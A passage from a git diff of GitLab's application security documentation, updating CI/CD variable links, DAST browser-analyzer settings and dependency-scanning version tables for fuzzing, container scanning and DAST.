CI/CD**, in the **Variables** section. Because of the [limitations on masked variables](../../../ci/variables/index.md#mask-a-cicd-variable), @@ -965,7 +965,7 @@ outgoing HTTP requests. Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`: -1. [Create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables), +1. [Create a CI/CD variable](../../../ci/variables/index.md#for-a-project), for example `TEST_API_BEARERAUTH`, with the value `{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the @@ -1321,7 +1321,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui): ```yaml stages: diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index e198f967eea..fc06b50b03d 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -81,7 +81,7 @@ To enable container scanning in your pipeline, you need the following: - Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the shared runners on GitLab.com, then this is already the case. - An image matching the [supported distributions](#supported-distributions). -- [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) +- [Build and push](../../packages/container_registry/build_and_push_images.md#use-gitlab-cicd) the Docker image to your project's container registry. - If you're using a third-party container registry, you might need to provide authentication credentials through the `CS_REGISTRY_USER` and `CS_REGISTRY_PASSWORD` [configuration variables](#available-cicd-variables). @@ -425,7 +425,7 @@ container_scanning: -----END CERTIFICATE----- ``` -The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. +The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/index.md#for-a-project), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate. ### Vulnerability allowlisting **(ULTIMATE)** @@ -637,7 +637,7 @@ container_scanning: CS_IMAGE: "gcr.io/path-to-you-registry/image:tag" ``` -Before you commit this configuration, [add a CI/CD variable](../../../ci/variables/index.md#add-a-cicd-variable-to-a-project) +Before you commit this configuration, [add a CI/CD variable](../../../ci/variables/index.md#for-a-project) for `GCP_CREDENTIALS` containing the JSON key, as described in the [Google Cloud Platform Container Registry documentation](https://cloud.google.com/container-registry/docs/advanced-authentication#json-key). Also: diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index c04c07f561d..71c842ca277 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -159,16 +159,9 @@ the default option of one corpus per job. The corpus registry uses the package registry to store the project's corpuses. Corpuses stored in the registry are hidden to ensure data integrity. -In the GitLab UI, with corpus management you can: - -- View details of the corpus registry. -- Download a corpus. -- Delete a corpus. -- Create a new corpus. - When you download a corpus, the file is named `artifacts.zip`, regardless of the filename used when the corpus was initially uploaded. This file contains only the corpus, which is different to the -artifacts files you can download from the CI/CD pipeline. +artifacts files you can download from the CI/CD pipeline. Also, a project member with a Reporter or above privilege can download the corpus using the direct download link. ### View details of the corpus registry diff --git a/doc/user/application_security/dast/authentication.md b/doc/user/application_security/dast/authentication.md index d4f91639dbc..d5ba92f399c 100644 --- a/doc/user/application_security/dast/authentication.md +++ b/doc/user/application_security/dast/authentication.md @@ -110,7 +110,7 @@ dast: ``` Do **not** define `DAST_USERNAME` and `DAST_PASSWORD` in the YAML job definition file as this could present a security risk. Instead, create them as masked CI/CD variables using the GitLab UI. -See [Custom CI/CI variables](../../../ci/variables/index.md#custom-cicd-variables) for more information. +See [Custom CI/CI variables](../../../ci/variables/index.md#for-a-project) for more information. ### Configuration for a multi-step login form @@ -136,7 +136,7 @@ dast: ``` Do **not** define `DAST_USERNAME` and `DAST_PASSWORD` in the YAML job definition file as this could present a security risk. Instead, create them as masked CI/CD variables using the GitLab UI. -See [Custom CI/CI variables](../../../ci/variables/index.md#custom-cicd-variables) for more information. +See [Custom CI/CI variables](../../../ci/variables/index.md#for-a-project) for more information. ### Configuration for Single Sign-On (SSO) diff --git a/doc/user/application_security/dast/browser_based.md b/doc/user/application_security/dast/browser_based.md index 7377f31d0ce..96480bcb6a5 100644 --- a/doc/user/application_security/dast/browser_based.md +++ b/doc/user/application_security/dast/browser_based.md @@ -7,11 +7,8 @@ type: reference, howto # DAST browser-based analyzer **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/323423) in GitLab 13.12. - -WARNING: -This product is in an early-access stage and is considered a [beta](../../../policy/alpha-beta-support.md#beta-features) -feature. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/323423) in GitLab 13.12 as a Beta feature. +> - [Generally available](https://gitlab.com/groups/gitlab-org/-/epics/9023) in GitLab 15.7 (GitLab DAST v3.0.50). WARNING: Do not run DAST scans against a production server. Not only can it perform *any* function that @@ -173,7 +170,7 @@ For authentication CI/CD variables, see [Authentication](authentication.md). | `DAST_ADVERTISE_SCAN` | boolean | `true` | Set to `true` to add a `Via` header to every request sent, advertising that the request was sent as part of a GitLab DAST scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334947) in GitLab 14.1. | | `DAST_BROWSER_ACTION_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `800ms` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after completing an action. | | `DAST_BROWSER_ACTION_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to complete an action. | -| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. | +| `DAST_BROWSER_ALLOWED_HOSTS` | List of strings | `site.com,another.com` | Hostnames included in this variable are considered in scope when crawled. By default the `DAST_WEBSITE` hostname is included in the allowed hosts list. Headers set using `DAST_REQUEST_HEADERS` are added to every request made to these hostnames. | | `DAST_BROWSER_COOKIES` | dictionary | `abtesting_group:3,region:locked` | A cookie name and value to be added to every request. | | `DAST_BROWSER_CRAWL_GRAPH` | boolean | `true` | Set to `true` to generate an SVG graph of navigation paths visited during crawl phase of the scan. | | `DAST_BROWSER_DEVTOOLS_LOG` | string | `Default:messageAndBody,truncate:2000` | Set to log protocol messages between DAST and the Chromium browser. | | @@ -193,7 +190,8 @@ For authentication CI/CD variables, see [Authentication](authentication.md). | `DAST_BROWSER_NAVIGATION_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis after a navigation completes. | | `DAST_BROWSER_NAVIGATION_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `15s` | The maximum amount of time to wait for a browser to navigate from one page to another. | | `DAST_BROWSER_NUMBER_OF_BROWSERS` | number | `3` | The maximum number of concurrent browser instances to use. For shared runners on GitLab.com, we recommended a maximum of three. Private runners with more resources may benefit from a higher number, but are likely to produce little benefit after five to seven instances. | -| `DAST_BROWSER_PAGE_READY_SELECTOR` | selector | `css:#page-is-ready` | Selector that when detected as visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. | +| `DAST_BROWSER_PAGE_LOADING_SELECTOR` | selector | `css:#page-is-loading` | Selector that when is no longer visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. Cannot be used with `DAST_BROWSER_PAGE_READY_SELECTOR` | +| `DAST_BROWSER_PAGE_READY_SELECTOR` | selector | `css:#page-is-ready` | Selector that when detected as visible on the page, indicates to the analyzer that the page has finished loading and the scan can continue. Cannot be used with `DAST_BROWSER_PAGE_LOADING_SELECTOR` | | `DAST_BROWSER_SCAN` | boolean | `true` | Required to be `true` to run a browser-based scan. | | `DAST_BROWSER_SEARCH_ELEMENT_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `3s` | The maximum amount of time to allow the browser to search for new elements or user actions. | | `DAST_BROWSER_STABILITY_TIMEOUT` | [Duration string](https://pkg.go.dev/time#ParseDuration) | `7s` | The maximum amount of time to wait for a browser to consider a page loaded and ready for analysis. | @@ -203,8 +201,8 @@ For authentication CI/CD variables, see [Authentication](authentication.md). | `DAST_PATHS` | string | `/page1.html,/category1/page3.html` | Set to a comma-separated list of URL paths relative to `DAST_WEBSITE` for DAST to scan. | | `DAST_PATHS_FILE` | string | `/builds/project/urls.txt` | Set to a file path containing a list of URL paths relative to `DAST_WEBSITE` for DAST to scan. The file must be plain text with one path per line. | | `DAST_PKCS12_CERTIFICATE_BASE64` | string | `ZGZkZ2p5NGd...` | The PKCS12 certificate used for sites that require Mutual TLS. Must be encoded as base64 text. | -| `DAST_PKCS12_PASSWORD` | string | `password` | The password of the certificate used in `DAST_PKCS12_CERTIFICATE_BASE64`. Create sensitive [custom CI/CI variables](../../../ci/variables/index.md#custom-cicd-variables) using the GitLab UI. | -| `DAST_REQUEST_HEADERS` | string | `Cache-control:no-cache` | Set to a comma-separated list of request header names and values. Headers are added to every request made to `DAST_BROWSER_ALLOWED_HOSTS` by DAST. | +| `DAST_PKCS12_PASSWORD` | string | `password` | The password of the certificate used in `DAST_PKCS12_CERTIFICATE_BASE64`. Create sensitive [custom CI/CI variables](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui) using the GitLab UI. | +| `DAST_REQUEST_HEADERS` | string | `Cache-control:no-cache` | Set to a comma-separated list of request header names and values. | | `DAST_SKIP_TARGET_CHECK` | boolean | `true` | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. | | `DAST_TARGET_AVAILABILITY_TIMEOUT` | number | `60` | Time limit in seconds to wait for target availability. | | `DAST_WEBSITE` | URL | `https://example.com` | The URL of the website to scan. | diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md index 63276eba871..4c324033140 100644 --- a/doc/user/application_security/dast_api/index.md +++ b/doc/user/application_security/dast_api/index.md @@ -828,7 +828,7 @@ provide a script that performs an authentication flow or calculates the token. is an authentication method built into the HTTP protocol and used in conjunction with [transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security). -We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) +We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#for-a-project) for the password (for example, `TEST_API_PASSWORD`), and set it to be masked. You can create CI/CD variables from the GitLab project's page at **Settings > CI/CD**, in the **Variables** section. Because of the [limitations on masked variables](../../../ci/variables/index.md#mask-a-cicd-variable), @@ -876,7 +876,7 @@ outgoing HTTP requests. Follow these steps to provide the Bearer token with `DAST_API_OVERRIDES_ENV`: -1. [Create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables), +1. [Create a CI/CD variable](../../../ci/variables/index.md#for-a-project), for example `TEST_API_BEARERAUTH`, with the value `{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the @@ -1271,7 +1271,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui): ```yaml stages: @@ -1528,7 +1528,7 @@ variables: ### Example: Using a masked CI/CD variable -The following `.gitlab-ci.yml` sample assumes the [masked variable](../../../ci/variables/index.md#mask-a-cicd-variable) `SECRET_REQUEST_HEADERS_BASE64` is defined as a [group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#add-a-cicd-variable-to-an-instance). The value of `SECRET_REQUEST_HEADERS_BASE64` is set to `WC1BQ01FLVNlY3JldDogc31jcnt0ISwgWC1BQ01FLVRva2VuOiA3MDVkMTZmNWUzZmI=`, which is the Base64-encoded text version of `X-ACME-Secret: s3cr3t!, X-ACME-Token: 705d16f5e3fb`. Then, it can be used as follows: +The following `.gitlab-ci.yml` sample assumes the [masked variable](../../../ci/variables/index.md#mask-a-cicd-variable) `SECRET_REQUEST_HEADERS_BASE64` is defined as a [group or instance level CI/CD variable defined in the UI](../../../ci/variables/index.md#define-a-cicd-variable-in-the-ui). The value of `SECRET_REQUEST_HEADERS_BASE64` is set to `WC1BQ01FLVNlY3JldDogc31jcnt0ISwgWC1BQ01FLVRva2VuOiA3MDVkMTZmNWUzZmI=`, which is the Base64-encoded text version of `X-ACME-Secret: s3cr3t!, X-ACME-Token: 705d16f5e3fb`. Then, it can be used as follows: ```yaml stages: diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md index e4466dffd56..d13c4cecdf4 100644 --- a/doc/user/application_security/dependency_scanning/analyzers.md +++ b/doc/user/application_security/dependency_scanning/analyzers.md @@ -7,17 +7,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Dependency Scanning Analyzers **(ULTIMATE)** -Dependency Scanning relies on underlying third-party tools that are wrapped into -what we call "Analyzers". An analyzer is a -[dedicated project](https://gitlab.com/gitlab-org/security-products/analyzers) -that wraps a particular tool to: - -- Expose its detection logic. -- Handle its execution. -- Convert its output to the common format. - -This is achieved by implementing the [common API](https://gitlab.com/gitlab-org/security-products/analyzers/common). - Dependency Scanning supports the following official analyzers: - [`gemnasium`](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium) @@ -27,8 +16,6 @@ Dependency Scanning supports the following official analyzers: The analyzers are published as Docker images, which Dependency Scanning uses to launch dedicated containers for each analysis. -The Dependency Scanning analyzers' current major version number is 2. - Dependency Scanning is pre-configured with a set of **default images** that are maintained by GitLab, but users can also integrate their own **custom images**. diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index a4957c96db4..8106201cb99 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -198,13 +198,13 @@ table.supported-languages ul { <tr> <td rowspan="2">Java</td> <td rowspan="2"> - 8, - 11, + 8 LTS, + 11 LTS, 13<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>, 14<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>, 15<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>, 16<sup><b><a href="#notes-regarding-supported-languages-and-package-managers-1">1</a></b></sup>, - or 17 + or 17 LTS </td> <td><a href="https://gradle.org/">Gradle</a><sup><b><a href="#notes-regarding-supported-languages-and-package-managers-2">2</a></b></sup></td> <td> @@ -295,7 +295,7 @@ table.supported-languages ul { <li> <a id="notes-regarding-supported-languages-and-package-managers-1"></a> <p> - This version of Java is not supported by the FIPS-enabled image of <code>gemnasium-maven</code>. + Support for these versions of Java is deprecated and is planned to be removed in the GitLab 16.0 release. Additionally, these versions of Java are not supported by the FIPS-enabled image of <code>gemnasium-maven</code>. Official support is limited to LTS versions only. Although it may be possible to use Dependency Scanning with other versions by building a custom dependency scanning image, this approach is not officially supported by GitLab. </p> </li> <li> @@ -353,16 +353,16 @@ GitLab analyzers obtain dependency information using one of the following two me The following package managers use lockfiles that GitLab analyzers are capable of parsing directly: -| Package Manager | Supported File Format Versions | Tested Versions | -| ------ | ------ | ------ | -| Bundler | Not applicable | [1.17.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/ruby-bundler/default/Gemfile.lock#L118), [2.1.4](https://gitlab.com/gitlab-org/security-products/tests/ruby-bundler/-/blob/bundler2-FREEZE/Gemfile.lock#L118) | -| Composer | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/php-composer/default/composer.lock) | -| Conan | 0.4 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/c-conan/default/conan.lock) | -| Go | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/go-modules/default/go.sum) <sup><strong><a href="#notes-regarding-parsing-lockfiles-1">1</a></strong></sup> | -| NuGet | v1 | [4.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/csharp-nuget-dotnetcore/default/src/web.api/packages.lock.json#L2) | -| npm | v1, v2 | [6.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/default/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/lockfileVersion2/package-lock.json#L4) | -| yarn | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-yarn/default/yarn.lock#L2) | -| Poetry | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v3/qa/fixtures/python-poetry/default/poetry.lock) | +| Package Manager | Supported File Format Versions | Tested Versions | +| ------ | ------ | ------ | +| Bundler | Not applicable | [1.17.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/ruby-bundler/default/Gemfile.lock#L118), [2.1.4](https://gitlab.com/gitlab-org/security-products/tests/ruby-bundler/-/blob/bundler2-FREEZE/Gemfile.lock#L118) | +| Composer | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/php-composer/default/composer.lock) | +| Conan | 0.4 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/c-conan/default/conan.lock#L38) | +| Go | Not applicable | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/go-modules/gosum/default/go.sum) <sup><strong><a href="#notes-regarding-parsing-lockfiles-1">1</a></strong></sup> | +| NuGet | v1 | [4.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/csharp-nuget-dotnetcore/default/src/web.api/packages.lock.json#L2) | +| npm | v1, v2, v3 | [6.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/default/package-lock.json#L4), [7.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-npm/lockfileVersion2/package-lock.json#L4), [9.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/scanner/parser/npm/fixtures/lockfile-v3/simple/package-lock.json#L4) | +| yarn | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/js-yarn/default/yarn.lock#L2) | +| Poetry | v1 | [1.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/master/qa/fixtures/python-poetry/default/poetry.lock) | <!-- markdownlint-disable MD044 --> <ol> @@ -383,21 +383,27 @@ To support the following package managers, the GitLab analyzers proceed in two s 1. Execute the package manager or a specific task, to export the dependency information. 1. Parse the exported dependency information. -| Package Manager | Pre-installed Versions | Tested Versions | -| ------ | ------ | ------ | -| sbt | [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.24.6/config/.tool-versions#L4) | [1.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L443-447), [1.1.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L449-453), [1.2.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L455-459), [1.3.12](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L461-465), [1.4.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L467-471), [1.5.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L473-477), [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L479-483) | -| Maven | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L95-97) | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L95-97) | -| Gradle | [6.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.23.0/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-1">1</a></b></sup>, [7.3.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.26.0/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-1">1</a></b></sup> | [5.6.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L319-323), [6.7](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L286-288)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup>, [6.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L331-335), [7.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/blob/v2.28.1/spec/image_spec.rb#L300-302)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup> | -| setuptools | [50.3.2](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L27) | [57.5.0](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L224-247) | -| pip | [20.2.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v2.29.9/Dockerfile#L26) | [20.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L77-91) | -| Pipenv | [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.18.4/requirements.txt#L13) | [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L168-191)<sup><b><a href="#exported-dependency-information-notes-3">3</a></b></sup>, [2018.11.26](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-python/-/blob/v2.22.0/spec/image_spec.rb#L143-166) | -| Go | [1.17](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/7dc7a892b564abfcb160189f46b2ae6415e0dffa/build/gemnasium/alpine/Dockerfile#L88-91) | [1.17](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/7dc7a892b564abfcb160189f46b2ae6415e0dffa/build/gemnasium/alpine/Dockerfile#L88-91)<sup><strong><a href="#exported-dependency-information-notes-4">4</a></strong></sup> | +| Package Manager | Pre-installed Versions | Tested Versions | +| ------ | ------ | ------ | +| sbt | [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L4) | [1.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L445-449), [1.1.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L451-455), [1.2.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L457-461), [1.3.12](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L463-467), [1.4.6](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L469-473), [1.5.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L475-479), [1.6.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L481-485) | +| Maven | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L3) | [3.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L95-97)<sup><b><a href="#exported-dependency-information-notes-1">1</a></b></sup> | +| Gradle | [6.7.1](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup>, [7.3.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L5)<sup><b><a href="#exported-dependency-information-notes-2">2</a></b></sup> | [5.6.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L314-319), [6.7](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L321-326), [6.9](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L328-333), [7.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-maven_image_spec.rb#L335-339) | +| setuptools | [58.1.0](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-python/debian/Dockerfile#L17) | [>= 65.6.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/spec/gemnasium-python_image_spec.rb#L249-271) | +| pip | [22.0.4](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-python/debian/Dockerfile#L17) | [20.x](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-python_image_spec.rb#L88-102) | +| Pipenv | [2022.1.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-python/requirements.txt#L13) | [2022.1.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-python_image_spec.rb#L186-210)<sup><b><a href="#exported-dependency-information-notes-3">3</a></b></sup>, [2022.1.8](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.0.2/spec/gemnasium-python_image_spec.rb#L161-183) | +| Go | [1.18](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium/alpine/Dockerfile#L88-91) | [1.18](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium/alpine/Dockerfile#L88-91)<sup><strong><a href="#exported-dependency-information-notes-4">4</a></strong></sup> | <!-- markdownlint-disable MD044 --> <ol> <li> <a id="exported-dependency-information-notes-1"></a> <p> + This test uses the default version of <code>maven</code> specified by the <a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium/-/blob/v3.10.6/build/gemnasium-maven/debian/config/.tool-versions#L3">.tool-versions</a> file. + </p> + </li> + <li> + <a id="exported-dependency-information-notes-2"></a> + <p> Different versions of Java require different versions of Gradle. The versions of Gradle listed in the above table are pre-installed in the analyzer image. The version of Gradle used by the analyzer depends on whether your project uses a <code>gradlew</code> (Gradle wrapper) file or not: @@ -423,12 +429,6 @@ To support the following package managers, the GitLab analyzers proceed in two s </ul> </li> <li> - <a id="exported-dependency-information-notes-2"></a> - <p> - These tests confirm that if a <code>gradlew</code> file does not exist, the version of <code>Gradle</code> pre-installed in the analyzer image is used. - </p> - </li> - <li> <a id="exported-dependency-information-notes-3"></a> <p> This test confirms that if a <code>Pipfile.lock</code> file is found, it will be used by <a href="https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium">Gemnasium</a> to scan the exact package versions listed in this file. @@ -654,7 +654,7 @@ The following variables are used for configuring specific analyzers (used for a | `DS_INCLUDE_DEV_DEPENDENCIES` | `gemnasium` | `"true"` | When set to `"false"`, development dependencies and their vulnerabilities are not reported. Only NPM and Poetry projects are supported. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227861) in GitLab 15.1. | | `GOOS` | `gemnasium` | `"linux"` | The operating system for which to compile Go code. | | `GOARCH` | `gemnasium` | `"amd64"` | The architecture of the processor for which to compile Go code. | -| `GOFLAGS` | `gemansium` | | The flags passed to the `go build` tool. | +| `GOFLAGS` | `gemnasium` | | The flags passed to the `go build` tool. | | `GOPRIVATE` | `gemnasium` | | A list of glob patterns and prefixes to be fetched from source. Read the Go private modules [documentation](https://go.dev/ref/mod#private-modules) for more information. | #### Other variables @@ -662,7 +662,7 @@ The following variables are used for configuring specific analyzers (used for a The previous tables are not an exhaustive list of all variables that can be used. They contain all specific GitLab and analyzer variables we 